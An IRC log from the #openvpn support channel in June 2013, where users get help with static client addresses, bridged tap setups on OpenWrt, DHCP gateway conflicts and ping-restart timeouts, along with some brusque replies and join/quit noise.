16:59 < nowak> and thats a problem when you want the same address ;)
16:59 < pekster> Why would you *want* that? Just number them uniquely nowak. VPN#1 uses 10.8.0/24 and VPN#2 uses 10.8.1/24. If you want them to talk, route and firewall as such
17:00 < pekster> You don't ever number houses on the same block the same: don't do it for network ranges either
17:00 < nowak> i have my reasons and its certainly doable (and i know how to do it) so lets stop at that ;)
17:01 < antiwire> I moved them into different subnets
17:02 < rob0> Dynamic DNS makes different addresses appear seamless. And also, you can look at the address and know which instance the client is on.
17:15 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:34 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has quit []
17:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:10 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
18:23 -!- master_o1_master [~master_of@p4FF24F31.dip0.t-ipconnect.de] has joined #openvpn
18:25 < antiwire> later dudes, thanks again for the reality check ;D
18:25 -!- antiwire [~antiwire@unaffiliated/antiwire] has left #openvpn ["PART ##slackware-offtopic :QUIT :."]
18:26 -!- master_of_master [~master_of@p4FF24F12.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
18:48 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
19:11 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
19:11 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds]
19:12 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
19:12 -!- mode/#openvpn [+o raidz] by ChanServ
19:12 -!- JesseCW [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit [Ping timeout: 246 seconds]
19:13 -!- raidz is now known as raidz_away
19:13 -!- raidz_away is now known as raidz
19:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:51 -!- benedikt [~benedikt@unaffiliated/benedikt] has joined #openvpn
19:51 < benedikt> is there an option for the client to try to connect and disconnect upon either failure or success
19:51 < benedikt> returning an appropriate error code
19:51 < benedikt> this would making a monitor for openvpn seriously easy
19:52 < pekster> If that's your goal, why don't you use the management interface to determine that?
19:52 < benedikt> my vpn servers depend on e.g. my api. i want to run through the entire connection cycle like all clients would
19:53 < benedikt> i want to know more than "is the openvpn daemon alive and answering?"
19:53 < benedikt> i want "can a client successfully connect"
19:53 < benedikt> can i do that with the management interface
19:56 -!- raidz is now known as raidz_away
19:56 < benedikt> reading about it
19:56 < benedikt> its a lot more powerful than i thought
20:29 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 256 seconds]
20:32 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
20:33 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has quit [Ping timeout: 256 seconds]
20:54 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
21:13 -!- ngharo_ is now known as ngharo
21:39 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:18 -!- Austlaw [~Austin@94.200.189.50] has joined #openvpn
22:18 < Austlaw> trying to assign a static ip to a client using ifconfig-push
22:19 < pekster> !static
22:19 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
22:19 < Austlaw> all the examples seem to be for /30 networks where mine is not, what is the second ip passed to ifconfig-push?
22:20 < pekster> Austlaw: That still depends: in --topology p2p you use the peering IP, while in --topology subnet you use the netmask the tun device has
22:20 < Austlaw> using topolog subnet
22:21 < Austlaw> ok, the netmask then
22:21 < pekster> It takes the same values as if you were applying them to --ifconfig on the client
22:22 < Austlaw> yeah it worked, thanks
22:22 < Austlaw> what about the issue of unidentified network on windows?
22:23 < Austlaw> best solution?
22:23 < pekster> "unidentified" ?
22:24 < pekster> Oh, I think I know what you mean. There's no "problem" if that's what you're suggestiong
22:24 < pekster> Don't "do" anything about it
22:24 < Austlaw> well the issue is that the windows firewall sets a unique set of extremely strict rules for unidentified networks
22:25 < nowak> its a bit silly, add default route or youll have to mess with registry
22:25 < pekster> Then put it in a define zone
22:25 < pekster> defined*
22:25 < pekster> Maybe there's some (poorly-documented no doubt) API to do that, but you can do it through the "Network Control Center" or w/e they named it
22:25 < Austlaw> yeah, I mean, its certainly a windows issue more than an openvpn issue
22:25 < Austlaw> but still annoying
22:26 < pekster> Then go whine on MSDN forums about it
22:26 < Austlaw> that sounds like terrible advice lol
22:27 < pekster> OS config that's outside openvpn doesn't get a lot of love here, especially not when the OS in question is closed-source with awful official support for end-users
22:46 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
22:46 -!- Austlaw [~Austin@94.200.189.50] has quit [Read error: Connection reset by peer]
23:21 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Connection reset by peer]
--- Day changed Thu Jun 06 2013
00:36 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
00:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:21 -!- mattock_afk is now known as mattock
01:36 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
01:50 -!- paccer [uid4847@gateway/web/irccloud.com/x-wauqeovlgscugchb] has left #openvpn []
01:51 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
01:53 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
02:15 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:41 -!- eennaam [~pi@unaffiliated/eennaam] has quit [Ping timeout: 240 seconds]
02:46 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
03:04 -!- monk [~aknm@196.14.139.96] has joined #openvpn
03:04 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
03:04 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
03:06 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
03:06 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Remote host closed the connection]
03:06 -!- eennaam [~pi@unaffiliated/eennaam] has joined #openvpn
03:06 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
03:17 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
03:19 < monk> https://soundcloud.com/theawave/mr-sam-lil-mama-ft-awave
03:19 <@vpnHelper> Title: Mr Sam - Lil Mama Ft aWave by aWave on SoundCloud - Hear the world’s sounds (at soundcloud.com)
03:35 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
03:37 -!- dym [~patrick@intrepid.openroot.de] has joined #openvpn
03:37 -!- dym [~patrick@intrepid.openroot.de] has quit [Changing host]
03:37 -!- dym [~patrick@unaffiliated/dym] has joined #openvpn
03:40 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-itajwbxqrgqbydif] has joined #openvpn
03:45 -!- baptistem [~baptistem@unaffiliated/baptistem] has joined #openvpn
03:46 < baptistem> o/
03:51 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:12 -!- xTz_ [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
04:12 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
04:28 -!- mitz [~mitz@219.143.36.82] has joined #openvpn
04:37 < Brandano> \\o
04:38 < Brandano> Ah, no need to escape. Still, not nice to leave a bro hanging
04:39 < Brandano> is there somewhere a tutorial for bridged setups? All documentation I could find starts by describing why to choose tunneled vs bridged, then show how a bridged setup should be, and then end.
04:40 < Brandano> I mean, ok, normally you don't need bridged, but if you do there's practically no documentation about it
04:45 -!- erry is now known as erryone
04:47 -!- erryone is now known as erry
04:52 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 256 seconds]
04:53 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
04:56 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
04:57 -!- andi____ is now known as andi
04:57 -!- andi [~andi@shell.sixhop.net] has quit [Changing host]
04:57 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
05:05 -!- mitz [~mitz@219.143.36.82] has quit [Quit: WeeChat 0.4.1]
05:06 -!- mitz [~mitz@219.143.36.82] has joined #openvpn
05:08 -!- mitz [~mitz@219.143.36.82] has quit [Client Quit]
05:13 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
05:15 -!- Twinkletoes [~chatzilla@90.155.97.196] has joined #openvpn
05:36 -!- Twinkletoes [~chatzilla@90.155.97.196] has left #openvpn []
05:53 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
05:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-hbqjqwnjnkwzlrux] has quit [Ping timeout: 256 seconds]
05:56 -!- xvzf [~gergoe@pool-03ed5.externet.hu] has joined #openvpn
05:56 -!- Twinkletoes [~chatzilla@90.155.97.196] has joined #openvpn
05:56 -!- kirin` [telex@gateway/shell/anapnea.net/x-rxjufsgrixbqddzj] has joined #openvpn
05:58 < xvzf> hi there, I have my config http://pastebin.com/R8hGpeGU I want user-password authentication, still, openvpn says Options error: You must define CA file (--ca) or CA path (--capath). What should I remove from the config?
05:59 < AsadH> Twinkletoes !
05:59 < Twinkletoes> AsadH: yeah
06:05 -!- rawtaz [~rawtaz@rho.hobbyhotellet.se] has joined #openvpn
06:17 -!- baptistem [~baptistem@unaffiliated/baptistem] has quit [Ping timeout: 256 seconds]
06:19 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
06:19 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
06:19 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:22 -!- ko_lo [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has joined #openvpn
06:25 -!- Twinkletoes [~chatzilla@90.155.97.196] has left #openvpn []
06:31 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
06:33 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:39 -!- xvzf [~gergoe@pool-03ed5.externet.hu] has quit [Quit: Leaving]
06:48 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 264 seconds]
06:49 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
06:54 -!- ko_lo is now known as baptistem
06:54 -!- baptistem [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has quit [Changing host]
06:54 -!- baptistem [~baptistem@unaffiliated/baptistem] has joined #openvpn
07:04 -!- You're now known as ecrist
07:05 -!- mode/#openvpn [+o ecrist] by ChanServ
07:30 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
07:35 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
07:48 -!- baptistem [~baptistem@unaffiliated/baptistem] has quit [Ping timeout: 245 seconds]
07:55 < pekster> Brandano: Don't bridge unless you have a valid reason:
07:55 < pekster> !tunortap
07:55 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
07:55 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
07:58 -!- ko_lo [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has joined #openvpn
08:03 -!- ko_lo [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has quit [Ping timeout: 276 seconds]
08:06 < Brandano> pekster: to support broadcast based protocols. I erad that argument several times over
08:07 < pekster> Gotcha, then you'll need L2/tap
08:08 < pekster> What specifically are you having problems with? The VPN part of the setup is more or less the same; it's the addressing that's a bit different since your server generally needs to have the bridge and addressing set up prior to introducing the VPN
08:08 < Brandano> yup. I figured out as much. My problem now seems to be with routing issues
08:08 < pekster> Nothing is special about routing from a tap perspective; you treat routing across it like any other interface if you intend to send traffic between subnets (ie: IP routing)
08:09 -!- mattock_ [~mattock@raidz.im] has joined #openvpn
08:09 -!- mattock_ [~mattock@raidz.im] has quit [Changing host]
08:09 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
08:09 -!- mode/#openvpn [+o mattock_] by ChanServ
08:09 < Brandano> I can ping the client from the server, but I get a "bad source address from client [<mac address>], packet dropped"
08:09 -!- havoc_ [~havoc@neptune.chaillet.net] has joined #openvpn
08:09 < Brandano> when tryng to reach any lan addresses
08:10 < Brandano> openvpn is running on openwrt in my case
08:10 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 264 seconds]
08:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds]
08:10 -!- eennaam [~pi@unaffiliated/eennaam] has quit [Ping timeout: 264 seconds]
08:10 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-ydvkyllbefzfvmxb] has quit [Ping timeout: 264 seconds]
08:10 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 264 seconds]
08:10 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 264 seconds]
08:10 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 264 seconds]
08:10 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Ping timeout: 264 seconds]
08:10 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 264 seconds]
08:10 < Brandano> so it's both the server and the router
08:10 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
08:11 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
08:11 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
08:11 -!- mcp [~mcp@wolk-project.de] has quit [Excess Flood]
08:11 < pekster> Brandano: Compare the dropped packet's MAC with the client's MAC (look at your status file, or if you don't have one set up send the PID a SIGUSR2 signal and it'll spit that info to the log)
08:11 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:11 -!- magoo [~mattw@209.114.46.149] has quit [Ping timeout: 264 seconds]
08:11 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
08:11 -!- magoo [~mattw@209.114.46.149] has joined #openvpn
08:12 -!- eennaam [~pi@unaffiliated/eennaam] has joined #openvpn
08:12 < Brandano> right now I don't have the client handy, though. I'll loook back once I have the entire setup at hand
08:12 < Brandano> or I could create another test client
08:12 < pekster> Brandano: Note that Windows in particular has a very hard time *not* doing stupid things like using addresses on the far side (it's own LAN or wifi etc) connections and somehow tries to send it across the VPN in a variety of situations
08:12 -!- mattock_ is now known as mattock
08:12 < pekster> Other OSes tend not to do silly things like that unless they're misconfigured
08:12 < Brandano> right
08:13 < Brandano> it is indeed a windows client. But  did kill all other connections
08:13 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
08:13 < Brandano> though perhaps it is using its wan address instead of the address assigned by openvpn?
08:13 < pekster> In tap it's an L2 address, so MAC
08:14 < pekster> That's why you need to compare the dropped source address openvpn is concerned with against what the client is expected to have
08:14 < Brandano> yes, but in server-bridge I am assigning it an address range. Can I skip that and leave the bridged lan to handle dhcp?
08:14 < pekster> Is something specifically not working, or do you just get those dropped packet messages in the logs?
08:14 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 263 seconds]
08:15 < pekster> You generally do not want to let the server-side LAN handle DHCP because otherwise it'll pass a default gateway to clients, and that'll cause problems as it conflicts/wipes-out the existing one
08:15 < Brandano> it just can't seem to reach the bridged network. Gets the proper ip address and subnet, but can't reach other addresses in that subnet
08:15 < pekster> Unless your DHCP server is set up to handle that and not pass that option to VPN clients
08:15 < pekster> Could be a firewall then
08:16 < Brandano> it ought to. dhcp is also handled by openwrt. The tap interface is bridged, so it ought to be part of the same network
08:16 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
08:17 < pekster> No, you aren't understanding
08:17 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:17 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Write error: Connection reset by peer]
08:17 < pekster> You need to make *special* arrangements with your dhcp daemon *not* to hand out a default gateway to your remote clients
08:17 < Brandano> and i think that the firewall is the most likely culprit. But also the fact that the client doesn't seem to acquire a defauilt gateway?
08:17 < Brandano> oh, ok
08:17 < pekster> That requires defining classes where you identify the tap adapter's MAC addresses, which is significantly non-trivial, especially if you're running dnsmasq (openwrt's default dhcp/dns server)
08:17 < Brandano> so there shouldn't be a default gateway for the VPN to work? Sorry, i am not really good with networking concepts
08:18 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
08:18 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
08:18 < pekster> So let's think this through. If you have a remote laptop with its own LAN and pre-existing default gateway (that's how it gets to your server in the first place) and you then go replacing that default gateway, how does it get to your server? Or anywhere?
08:18 -!- ShapeShifter499 [~ShapeShif@bounce.around.the.world.panicbnc.net] has quit [Excess Flood]
08:18 -!- gffa [~unknown@unaffiliated/gffa] has quit [Remote host closed the connection]
08:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 325 seconds]
08:18 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 325 seconds]
08:19 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-trwmhrafngxdkxky] has joined #openvpn
08:19 < Brandano> right
08:19 < pekster> It's like building a door in your garden, and then deciding that since you have a door, you can build a wall in front of your only enterence to your home: it won't work
08:19 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
08:20 < Brandano> what if you are connecting directly through a modem?
08:20 < Brandano> the default gateway should be your ISP one, I imagine. Sorry, silly me
08:20 < pekster> It doesn't matter unless you're statically routing between the networks
08:20 < pekster> Right
08:20 < pekster> Unless you have an expert understanding of what you're doing, leave the VPN addressing to openvpn and make sure it won't overlap with your local DHCP setup
08:20 < Brandano> ok, so I can assume my vpn reserved IP rasnge will handle things fine here
08:21 < pekster> (they have to be on the same subnet of course, but the DHCP ranges shouldn't overlap each other)
08:23 < Brandano> they don't
08:23 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
08:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:23 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:25 -!- havoc_ is now known as havoc
08:34 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
08:34 -!- mode/#openvpn [+o krzee] by ChanServ
08:37 -!- Brandano_ [~Brandano@31.193.18.202] has joined #openvpn
08:39 -!- javacoder [~JAVACODER@96.52.2d.static.xlhost.com] has joined #openvpn
08:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
08:40 -!- trumee [~parul@185.11.37.181] has quit [Ping timeout: 246 seconds]
08:40 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Ping timeout: 246 seconds]
08:41 -!- trumee_ [~parul@185.11.37.181] has joined #openvpn
08:42 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Read error: No buffer space available]
08:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:43 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
08:43 -!- emcepe [~mcp@wolk-project.de] has quit [Excess Flood]
08:44 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
08:47 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 245 seconds]
08:52 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has quit [Ping timeout: 246 seconds]
08:52 -!- tyteen4a- [tyteen4a03@us2.freeBNC.net] has joined #openvpn
08:53 -!- tyteen4a- [tyteen4a03@us2.freeBNC.net] has quit [Excess Flood]
08:53 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has joined #openvpn
08:55 -!- oc80z [oc80z@blea.ch] has quit [Ping timeout: 240 seconds]
08:56 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
08:57 -!- LEDfan_ [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
08:57 -!- oc80z [oc80z@blea.ch] has joined #openvpn
08:58 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Ping timeout: 260 seconds]
08:58 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
09:08 -!- joko_ is now known as joko
09:08 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Quit: ZNC - http://znc.sourceforge.net]
09:12 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
09:12 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Remote host closed the connection]
09:12 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
09:27 -!- soapee01_ [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
09:29 -!- soapee01_ [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Client Quit]
09:29 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
09:30 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Client Quit]
09:32 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 264 seconds]
09:33 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
09:34 -!- Dat [dat@gotpot.org] has joined #openvpn
09:43 < vaillor> Thu Jun  6 16:13:54 2013 us=678435 vaillor/2.226.37.187:64384 [vaillor] Inactivity timeout (--ping-restart), restarting
09:43 < vaillor> Thu Jun  6 16:13:54 2013 us=678507 vaillor/2.226.37.187:64384 SIGUSR1[soft,ping-restart] received, client-instance restarting
09:43 < vaillor> do u know some way to solve it?
09:43 -!- benedikt [~benedikt@unaffiliated/benedikt] has left #openvpn []
09:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
09:45 -!- mikkel [~mikkel@109.202.158.84] has joined #openvpn
09:45 < nowak> solve what exactly?
09:45 < EugeneKay> Weren't you here a few days ago asking this exact same question
09:45 < EugeneKay> And were told that your connection is shitty, buy a better on
09:45 < vaillor> EugeneKay, yes, i'm on a lan
09:45 < EugeneKay> Well
09:45 < EugeneKay> Do that.
09:45 < EugeneKay> Or fuck off
09:45 < vaillor> 100mbps
09:46 < vaillor> i'm under a switch, how could it be a wrong connection?
09:46 < Brandano_> why are you running a VPN over a LAN?
09:46 < EugeneKay> I don't know; it's your shitty switch
09:47 -!- Brandano_ is now known as Brandano
09:47 < vaillor> EugeneKay, ok, tomorrow i'll buy another one hoping that is the problem
09:47 -!- Brandano [~Brandano@31.193.18.202] has quit [Changing host]
09:47 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
09:47 < pekster> If ping packets don't arrive from the remote end as specified by --ping and --ping-restart, that happens
09:47 < vaillor> Brandano_, i run openvpn under my lan to test it
09:48 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:48 < Brandano> Even with a poor switch I wouldn't expect dropped packets
09:48 < pekster> Either fix your delivery issues or modify the timeout values. As I recall this has been noted before
09:48 < pekster> (and you have a bad habit of coming back for days/weeks on end asking the same thing after demonstrating little to no ability to comprehend what you're told. Freenode will not treat you well when you do that)
09:49 < vaillor> pekster: i tried keepalive 10 120, .... 10 60 .... 10 30
09:50 < vaillor> but nothing good
09:50 < nowak> Brandano: maybe its a switch that restarts every now and then (because of crap fw/hw)
09:50 < pekster> Blindly? Why did you *lower* the value? What were you attempting to do there?
09:50 < Brandano> could be. or with some hardware issue
09:50 < vaillor> the only thing i know about my switch is that drops anycast request, it cares with my problem?
09:50 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Quit: WeeChat 0.3.8]
09:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
09:51 < pekster> A switch is an L2 device. Anycast is a routing/L3 notion. They're not related, and certinaly off-topic here as it's not at all related to openvpn
09:52 <@ecrist> not entirely true, pekster 
09:52 < pekster> (and L2 broadcast flooding, not IP anycast, is a required part of ARP, so that's pretty critical to a LAN)
09:52 <@ecrist> there are switches that do layer 3, and packet filtering
09:52 < pekster> ecrist: Sure, but if one "drops" anycast I'm assuming it's a POS L2 store&forward
09:52 < pekster> Maybe I'm wrong, but given the history here I'm pretty confident I'm not
09:53 <@ecrist> does he have some odd VLANs configured?
09:53 <@ecrist> that's going to block anycast between VLANs
09:56 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:57 < vaillor> there is an option to disable, enable it: "Multicast - IGMP Proxy Internal"
09:57 <@ecrist> multicast is not anycast
09:57 < vaillor> yes, sorry, i was wrong
09:58 < vaillor> i need to correct: my switch drops multicast request
09:58 <@ecrist> that's an entirely different problem
09:59 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 264 seconds]
10:00 < vaillor> ok, i'll try changing switch, if the problem will be solved
10:00 < vaillor> thank you for the support
10:02 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
10:14 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Connection reset by peer]
10:15 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
10:18 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:18 -!- mode/#openvpn [+o krzee] by ChanServ
10:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:19 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
10:20 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
10:26 -!- raidz_away is now known as raidz
10:28 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
10:29 -!- LEDfan_ [~quassel@94-226-126-193.access.telenet.be] has quit [Ping timeout: 248 seconds]
10:51 -!- mikkel [~mikkel@109.202.158.84] has quit [Quit: Leaving]
10:54 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
10:56 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 248 seconds]
10:59 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
11:09 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:13 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 276 seconds]
11:19 < Brandano> pekster: looks like my problem is with the windows client. I just set up a linux cleint and it works flawlessly
11:20 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:23 < pekster> Brandano: Right, so you'll need to see why (what application and how it's configured) the Windows client is making incorrect address sourcing decisions
11:23 < pekster> It's sadly not at all uncommon for that client. People pay money so their installed OS can misbehave
11:24 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 276 seconds]
11:24 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
11:36 -!- ko_lo [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has joined #openvpn
11:42 < Brandano> pekster: using the openvpn gui client. probably a few things to fix in the config file too. and I bet it's tryint to route local lan traffic through the vpn connection, even though it's another subnet
11:44 < pekster> Brandano: Why would you think that? Normally the most specific route takes priority (assuming you're not doing anything fancy like policy routing)
11:45 < pekster> Even if you're redirecting traffic with a /0 or /1 route, the local LAN still has a more-specific route. Networks that overlap cause strange issues, but that's easy to spot/fix by renumbering
11:45 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 248 seconds]
11:46 < Thermi> beware! Hetzner has been hacked! http://www.heise.de/security/meldung/Hetzner-gehackt-Kundendaten-kopiert-1884180.html
11:46 <@vpnHelper> Title: Hetzner gehackt, Kundendaten kopiert | heise Security (at www.heise.de)
11:46 < Brandano> heh. I am not sure what the client lan is set to. the vpn lan is on 192.168.10.0. Note, though, that it's neither on 192.168.1.0 or 192.168.0.0, which are indeed too common to be safe
